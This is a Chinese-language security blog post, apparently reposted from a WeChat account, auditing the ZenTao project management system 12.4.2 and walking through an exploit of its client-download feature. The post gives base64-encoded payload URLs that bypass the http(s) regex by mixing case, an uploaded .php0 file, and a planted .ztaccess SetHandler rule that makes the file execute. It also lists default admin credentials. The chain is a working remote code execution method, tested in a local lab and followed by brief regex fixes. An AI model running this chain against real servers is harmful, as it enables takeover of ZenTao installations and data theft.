看我们如何换个姿势把玩禅道

  • A+
所属分类:代码审计 安全文章

0x01:背景

近期,结合实际工作需要,对禅道项目管理系统进行了一些分析和研究,通过分析存在漏洞的代码,经过分析与实践,我们发现了一种在我们认知中相对更快捷利用相关漏洞的绕过姿势。借此机会与大家分享分享。如有雷同,算我的锅,在这给您先赔个不是哈。

0x02:环境构建

禅道项目管理系统V12.4.2版本:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html

如果需要在Windows系统上构建,直接下载安装包安装即可:https://www.zentao.net/dl/ZenTaoPMS.12.4.2.win64.exe

看我们如何换个姿势把玩禅道

一顿解压后,启动那个exe,真的打开了,好神奇!

看我们如何换个姿势把玩禅道

直接访问,OK了,默认账户(admin,口令:123456),不知道默认口令的师傅,拿走不谢!进去了会强制改密码哈,干就完了!

看我们如何换个姿势把玩禅道

0x03:一点点禅道背景知识的讲解!(主要是讲给小白我自己的!)

之前在看大佬们的漏洞讲解时,我有个小疑问,client-download-1-(base64 encode webshell download link)-1.html ,这个玩意怎么来的,后来经过一段时间的憋气后,我才发现其原理,您且听我随便讲讲:

在 module/client/control.php 中定义了一个继承了 control 的类 client ,其中实现了诸如 index ,browse , create 这样的无参方法,也实现了 download , edit , changelog , delete 这样的有参方法。

不愿意看了对吗,我们直接看样例1:调用无参方法!

看我们如何换个姿势把玩禅道

对应的 module/client/control.php 代码为:

public function browse(){    $this->view->title   = $this->lang->client->update;    $this->view->clients = $this->client->getList();    $this->display();}

我们给他加一个 echo 输出调试下,修改代码为:

public function browse(){    echo "Cool boy";    $this->view->title   = $this->lang->client->update;    $this->view->clients = $this->client->getList();    $this->display();}

访问相关页面:

看我们如何换个姿势把玩禅道

这说明禅道系统使用 - 作为分隔符,client 为对应的类, - 分割, browse 为被调用的方法。

再看一个样例2:调用有参方法!

public function download($version = '', $link = '', $os = ''){    set_time_limit(0);    $result = $this->client->downloadZipPackage($version, $link);    if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));    $client = $this->client->edit($version, $result, $os);    if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));    $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));}

有参调用:三个参数,全是 1

看我们如何换个姿势把玩禅道

不传参调用有参函数

看我们如何换个姿势把玩禅道

不管你会没会,反正我是会了。。。。时间有限,不研究底层逻辑。既然知道了套路,就可以去套路别人了。

另外,禅道为了提高安全性,默认禁用了 php 解析,可参考链接:https://www.zentao.net/book/zentaopmshelp/406.html,经过我们的测试,推测其采用的是通过一些策略,强制使php为扩展的文件不解析。

0x04:禅道相关有漏洞的代码审计

可能有些大佬早就定位到相关漏洞了哈,我就是看了大佬的分析后,如醍醐灌顶般,瞬间悟透,这里就是按照大佬的方法再过一遍定位到漏洞的过程,不乐意看的师傅,跳过跳过跳过!!!!

1.存在问题的代码位置1:module/client/control.php:86

public function download($version = '', $link = '', $os = '')    {        set_time_limit(0);        $result = $this->client->downloadZipPackage($version, $link);        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));        $client = $this->client->edit($version, $result, $os);        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));    }

关注 downloadZipPackage 这一函数。

2.存在问题的代码位置2:module/client/ext/model/xuanxuan.php:10

public function downloadZipPackage($version, $link){    $decodeLink = helper::safe64Decode($link);    if(preg_match('/^https?:///', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);}

使用base64解码后,请注意关键代码:preg_match('/^https?:///', $decodeLink) ,显然这类正则匹配存在一定的问题:如果正则匹配到 http(s):// 则返回false,既然如此,我们可以利用 ftp 绕过。

3.上传文件存储关键代码:module/client/model.php:240

public function downloadZipPackage($version, $link)    {        ignore_user_abort(true);        set_time_limit(0);        if(empty($version) || empty($link)) return false;        $dir  = "data/client/" . $version . '/';         //关键代码        $link = helper::safe64Decode($link);             //base64解码        $file = basename($link);        if(!is_dir($this->app->wwwRoot . $dir))        {            mkdir($this->app->wwwRoot . $dir, 0755, true);        }        if(!is_dir($this->app->wwwRoot . $dir)) return false;        if(file_exists($this->app->wwwRoot . $dir . $file))        {            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;        }        ob_clean();        ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }

     上述代码使用base64解码 $link 参数后将下载文件至 data/client/ 拼接 $version 参数的目录,读取 $link 指向的文件,并写入 $local 指向的文件中。显然,没啥过滤,没啥扰乱,看起来只要能绕过http(s):// 匹配,你想咋搞咋搞。

0x05:失败的干就完了(PHP不解析)

随便在自有的tomcat服务器上,传个 1.php 吧(毕竟禅道是按字符读取后目标文件,并写入到其服务器一个文件,为避免动态页面被解析为静态页面的问题,出此下策),内容为:

<?php phpinfo();?>

看我们如何换个姿势把玩禅道

以本地测试环境为例,其资源索引地址为:http://127.0.0.1:8080/1.php

base64(http://127.0.0.1:8080/1.php) -> aHR0cDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!肯定失败!

看我们如何换个姿势把玩禅道


换个思路,绕过 http 或 https ,用 htTp 试试?

base64(htTp://127.0.0.1:8080/1.php) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!保存成功!

看我们如何换个姿势把玩禅道



访问 http://127.0.0.1:81/zentao/data/client/1/1.php ,没东西,经过检查,代码上传确实出现在服务端后台了,说明没有解析:

看我们如何换个姿势把玩禅道



我们得想办法让他解析,这时候,知识点又来了:想访问禅道二级目录,得改他的.ztaccess文件,既然环境在这里,我们再构建一个.ztaccess文件,让服务器下载吧,文件内容如下所示:

<FilesMatch "1.php">     SetHandler application/x-httpd-php</FilesMatch>

文件资源索引地址:htTp://127.0.0.1:8080/.ztaccess -> base64编码处理 -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==

触发服务器下载逻辑:

看我们如何换个姿势把玩禅道

再次访问:http://127.0.0.1:81/zentao/data/client/1/1.php,还是不解析,不上图了,贼伤心。

0x06:成功的干就完了(扩展绕过及解析)

老方法,Tomcat搞一搞,资源索引地址换成 http://127.0.0.1:8080/1.php0 ,反正我打我自己。

http://127.0.0.1:8080/1.php0 -> base64(htTp://127.0.0.1:8080/1.php0) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhwMA==

看我们如何换个姿势把玩禅道

保存成功,访问还是不解析哈:

看我们如何换个姿势把玩禅道

根据禅道的要求,显然我们还要传一个 .ztacess 到服务器上去:

<FilesMatch "1.php0">     SetHandler application/x-httpd-php</FilesMatch>

base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==

看我们如何换个姿势把玩禅道

再次访问成功解析,访问成功:

看我们如何换个姿势把玩禅道

0x07:反思

既然已经绕过了相关的漏洞,按照国际惯例,也应该提出点自己的安全建议,不如从正则匹配入手搞一搞。

绕过一:大小写绕过防护

关键代码如下所示,注意,添加了一个 i (忽略大小写选项):

public function downloadZipPackage($version, $link){    $decodeLink = helper::safe64Decode($link);    if(preg_match('/^https?:///i', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);}

使用base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw== 这一载荷尝试下载相关资源确实失败了。

看我们如何换个姿势把玩禅道


绕过二:其他协议绕过防护

有大佬试过 FTP 协议绕过,真的很香。针对这种换协议绕过检查的方法,可以优化下正则表达式:

if(preg_match('^(https?|ftp|file)://i', $decodeLink)) return false;


喜欢就请关注我们吧!


看我们如何换个姿势把玩禅道


本文始发于微信公众号(Pai Sec Team):看我们如何换个姿势把玩禅道

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: